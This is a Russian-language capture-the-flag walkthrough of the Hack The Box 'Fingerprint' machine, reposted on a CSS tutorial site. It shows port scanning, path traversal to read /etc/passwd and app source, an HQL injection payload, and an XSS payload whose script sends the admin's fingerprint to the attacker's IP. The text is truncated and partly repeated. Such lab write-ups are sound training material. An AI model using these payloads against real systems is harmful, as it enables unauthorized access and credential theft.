HTB Fingerprint. Подделываем цифровой отпечаток для доступа к закрытому контенту - «Новости» » Самоучитель CSS
Меню
Наши новости
Учебник CSS

Невозможно отучить людей изучать самые ненужные предметы.

Введение в CSS
Преимущества стилей
Добавления стилей
Типы носителей
Базовый синтаксис
Значения стилевых свойств
Селекторы тегов
Классы
CSS3

Надо знать обо всем понемножку, но все о немногом.

Идентификаторы
Контекстные селекторы
Соседние селекторы
Дочерние селекторы
Селекторы атрибутов
Универсальный селектор
Псевдоклассы
Псевдоэлементы

Кто умеет, тот делает. Кто не умеет, тот учит. Кто не умеет учить - становится деканом. (Т. Мартин)

Группирование
Наследование
Каскадирование
Валидация
Идентификаторы и классы
Написание эффективного кода

Самоучитель CSS

Вёрстка
Изображения
Текст
Цвет
Линии и рамки
Углы
Списки
Ссылки
Дизайны сайтов
Формы
Таблицы
CSS3
HTML5

Новости

Блог для вебмастеров
Новости мира Интернет
Сайтостроение
Ремонт и советы
Все новости

Справочник CSS

Справочник от А до Я
HTML, CSS, JavaScript

Афоризмы

Афоризмы о учёбе
Статьи об афоризмах
Все Афоризмы

Видео Уроки


Видео уроки
Наш опрос



Наши новости

       
18-05-2022, 00:02
HTB Fingerprint. Подделываем цифровой отпечаток для доступа к закрытому контенту - «Новости»
Рейтинг:
Категория: Новости

Hack The Box.

warning


Под­клю­чать­ся к машинам с HTB рекомен­дует­ся толь­ко через VPN. Не делай это­го с компь­юте­ров, где есть важ­ные для тебя дан­ные, так как ты ока­жешь­ся в общей сети с дру­гими учас­тни­ками.



 

Разведка


Сканирование портов

До­бав­ляем IP-адрес машины в /etc/hosts:


10.10.11.127 fingerprint.htb

И запус­каем ска­ниро­вание пор­тов.



Справка: сканирование портов


Ска­ниро­вание пор­тов — стан­дар­тный пер­вый шаг при любой ата­ке. Он поз­воля­ет ата­кующе­му узнать, какие служ­бы на хос­те при­нима­ют соеди­нение. На осно­ве этой информа­ции выбира­ется сле­дующий шаг к получе­нию точ­ки вхо­да.


На­ибо­лее извес­тный инс­тру­мент для ска­ниро­вания — это Nmap. Улуч­шить резуль­таты его работы ты можешь при помощи сле­дующе­го скрип­та.


ports=$(nmap -p- --min-rate=500 $1 | grep^[0-9] | cut -d '/' -f 1 | tr 'n' ',' | sed s/,$//)nmap -p$ports -A $1

Он дей­ству­ет в два эта­па. На пер­вом про­изво­дит­ся обыч­ное быс­трое ска­ниро­вание, на вто­ром — более тща­тель­ное ска­ниро­вание, с исполь­зовани­ем име­ющих­ся скрип­тов (опция -A).



Ре­зуль­тат работы скрип­та

На­ходим три откры­тых пор­та:



  • 22 — служ­ба OpenSSH 7.6p1;

  • 80 — веб‑сер­вер Werkzeug httpd 1.0.1;

  • 8080 — веб‑сер­вер GlassFish Open Source Edition 5.0.1.


На­ша точ­ка вхо­да — это навер­няка один из двух веб‑сер­веров. Но, изу­чив сай­ты, я ничего инте­рес­ного не нашел. Давай тог­да поищем скры­тый кон­тент.



Справка: сканирование веба c ffuf


Од­но из пер­вых дей­ствий при тес­тирова­нии безопас­ности веб‑при­ложе­ния — это ска­ниро­вание методом перебо­ра катало­гов, что­бы най­ти скры­тую информа­цию и недос­тупные обыч­ным посети­телям фун­кции. Для это­го мож­но исполь­зовать прог­раммы вро­де dirsearch и DIRB.


Я пред­почитаю лег­кий и очень быс­трый ffuf. При запус­ке ука­зыва­ем сле­дующие парамет­ры:




  • -w — сло­варь (я исполь­зую сло­вари из набора SecLists);


  • -t — количес­тво потоков;


  • -u — URL;


  • -fc — исклю­чить из резуль­тата отве­ты с кодом 403.


За­пус­каем ffuf:


ffuf -uhttp://fingerprint.htb/FUZZ -t 256 -wdirectory_2.3_medium_lowercase.txt
Ре­зуль­тат ска­ниро­вания катало­гов с помощью ffuf
ffuf -uhttp://fingerprint.htb:8080/FUZZ -t 256 -wdirectory_2.3_medium_lowercase.txt
Ре­зуль­тат ска­ниро­вания катало­гов с помощью ffuf

По­явля­ются новые инте­рес­ные катало­ги. Burp спо­собен сос­тавлять кар­ты сай­та, чем мы и вос­поль­зуем­ся. В дан­ном слу­чае на пос­тро­енной кар­те обна­ружим конеч­ные точ­ки, которые мы бы дол­го иска­ли при гру­бом ска­ниро­вании.


HTB Fingerprint. Подделываем цифровой отпечаток для доступа к закрытому контенту - «Новости»
Кар­та сай­та fingerprint.htb

Те­перь важ­но най­ти мес­то, отку­да мы перехо­дим к конеч­ным точ­кам. Исто­рия и поиск в Burp выводят нас на стра­ницу /admin.


Burp History 

Точка входа


LFI

Че­рез стра­ницу /admin/view/ мож­но прос­матри­вать фай­лы, поэто­му про­верим, нет ли тут уяз­вимос­ти чте­ния про­изволь­ных фай­лов в сис­теме. Для перебо­ра фай­лов я буду исполь­зовать Burp Intruder.


Burp Intruder — вклад­ка Positions

И прос­тая пос­ледова­тель­ность /../..//etc/passwd отоб­разит нам содер­жимое фай­ла /etc/passwd! Это так­же поз­волит нам узнать домаш­ний каталог поль­зовате­ля flask. А это озна­чает дос­туп к исходни­кам сер­вера!


Со­дер­жимое фай­ла /etc/passwd

Сто­ит поп­робовать получить содер­жимое некото­рых стан­дар­тных фай­лов. Так, app/__init__.py ничего не выводит, а app/app.py все же дает код при­ложе­ния (путь /admin/view//../..//home/flask/app/app.py).


Ис­ходный код app.py

Те­перь у нас есть ключ при­ложе­ния (стро­ка 19), а так­же видим импорт фун­кции check из модуля auth (стро­ка 8). Зап­росим этот файл:


/admin/view/../..//home/flask/app/auth.py
Ис­ходный код auth.py

В стро­ке 13 рас­кры­вает­ся файл базы дан­ных с учет­ными дан­ными. А в стро­ке 16 с помощью фун­кции build_safe_sql_where фор­миру­ется зап­рос. Сама фун­кция импорти­рует­ся из модуля util. Получим сле­дующие фай­лы:




  • /admin/view/../..//home/flask/app/users.db


  • /admin/view/../..//home/flask/app/util.py


Со­дер­жимое фай­ла users.db
Со­дер­жимое фай­ла util.py

Из фай­ла базы получа­ем учет­ные дан­ные admin:u_will_never_guess_this_password. Исполь­зуя их, можем авто­ризо­вать­ся на сай­те и получить дос­туп к логам.


Стра­ница Logs

Боль­ше здесь ничего добыть не можем.


HQL injection + XSS = fingerprint

Тог­да поп­робу­ем авто­ризо­вать­ся с получен­ными учет­ными дан­ными на дру­гом сер­висе. Конеч­но, там нас ждет неуда­ча, но на стра­нице логов раз­мер фай­ла уве­личит­ся.


Стра­ница Logs

А в самом фай­ле будет ука­зан адрес, логин и циф­ровой отпе­чаток поль­зовате­ля, который попытал­ся авто­ризо­вать­ся.


Со­дер­жимое фай­ла auth.log

Так как логином и отпе­чат­ком мы можем опе­риро­вать при авто­риза­ции, есть воз­можность получить XSS. Но к это­му вер­немся чуть поз­же. На сер­вере исполь­зует­ся база дан­ных, а это зна­чит, что сто­ит поп­робовать обой­ти аутен­тифика­цию. На GitHub есть мно­го сло­варей типа auth bypass, и пер­вая же наг­рузка дает сле­дующую ошиб­ку.


Ошиб­ка сер­вера при обхо­де авто­риза­ции SQL

По­луча­ем ошиб­ку JDBC, а это зна­чит, что нуж­но выб­рать наг­рузки для HQL. Боль­шая часть ока­жет­ся заб­локиро­вана, но вот такая наг­рузка дает резуль­тат:


x' OR SUBSTRING(username,1,1)='a' and ''='

Нам сооб­щают про невер­ный циф­ровой отпе­чаток (Invalid fingerprint ID).


Со­обще­ние о бло­киров­ке зап­роса

Та­ким обра­зом, нам нуж­но получить циф­ровой отпе­чаток адми­нис­тра­тора, в чем нам может помочь уяз­вимость XSS. Сно­ва попыта­емся авто­ризо­вать­ся на вто­ром сер­висе, но вмес­то фин­гер­прин­та отпра­вим наг­рузку:


<script src="http://10.10.14.156:4321/evil.js">script>

Она будет заг­ружать с нашего сер­вера скрипт с кодом alert('test').


Зап­рос с наг­рузкой XSS
Про­вер­ка уяз­вимос­ти XSS

Уяз­вимость при­сутс­тву­ет, зна­чит про­дол­жаем. Обыч­но фин­гер­принт генери­рует­ся кодом на JS из мно­жес­тва парамет­ров вро­де раз­мера экра­на, наз­вания и вер­сии бра­узе­ра и про­чих приз­наков. Нам нуж­но най­ти этот код и записать в скрипт на нашем сер­вере. В Burp History мож­но уви­деть заг­рузку скрип­та login.js, он‑то нам и нужен.


Со­дер­жимое login.js

Ко­пиру­ем содер­жимое скрип­та и добав­ляем в кон­це код, который отпра­вит сге­нери­рован­ный фин­гер­принт на наш сер­вер:


location.href="http://10.10.14.156:4321/?id="+getFingerPrintID();

Пос­ле пов­торно­го зап­роса на авто­риза­цию получим фин­гер­принт на наш сер­вер.


Ло­ги локаль­ного веб‑сер­вера

Но и отправ­ляя этот фин­гер­принт, мы получа­ем ту же ошиб­ку: Invalid fingerprint - ID.


От­вет сер­вера

Hack The Box. warning Под­клю­чать­ся к машинам с HTB рекомен­дует­ся толь­ко через VPN. Не делай это­го с компь­юте­ров, где есть важ­ные для тебя дан­ные, так как ты ока­жешь­ся в общей сети с дру­гими учас­тни­ками. Разведка Сканирование портов До­бав­ляем IP-адрес машины в /etc/hosts: 10. 10. 11. 127 fingerprint. htb И запус­каем ска­ниро­вание пор­тов. Справка: сканирование портов Ска­ниро­вание пор­тов — стан­дар­тный пер­вый шаг при любой ата­ке. Он поз­воля­ет ата­кующе­му узнать, какие служ­бы на хос­те при­нима­ют соеди­нение. На осно­ве этой информа­ции выбира­ется сле­дующий шаг к получе­нию точ­ки вхо­да. На­ибо­лее извес­тный инс­тру­мент для ска­ниро­вания — это Nmap. Улуч­шить резуль­таты его работы ты можешь при помощи сле­дующе­го скрип­та. ports = $(nmap -p- --min-rate =500 $1 | grep ^_

Теги: CSS

Просмотров: 333
Комментариев: 0:   18-05-2022, 00:02
Уважаемый посетитель, Вы зашли на сайт как незарегистрированный пользователь. Мы рекомендуем Вам зарегистрироваться либо войти на сайт под своим именем.

 
Еще новости по теме:



Другие новости по теме:
Комментарии для сайта Cackle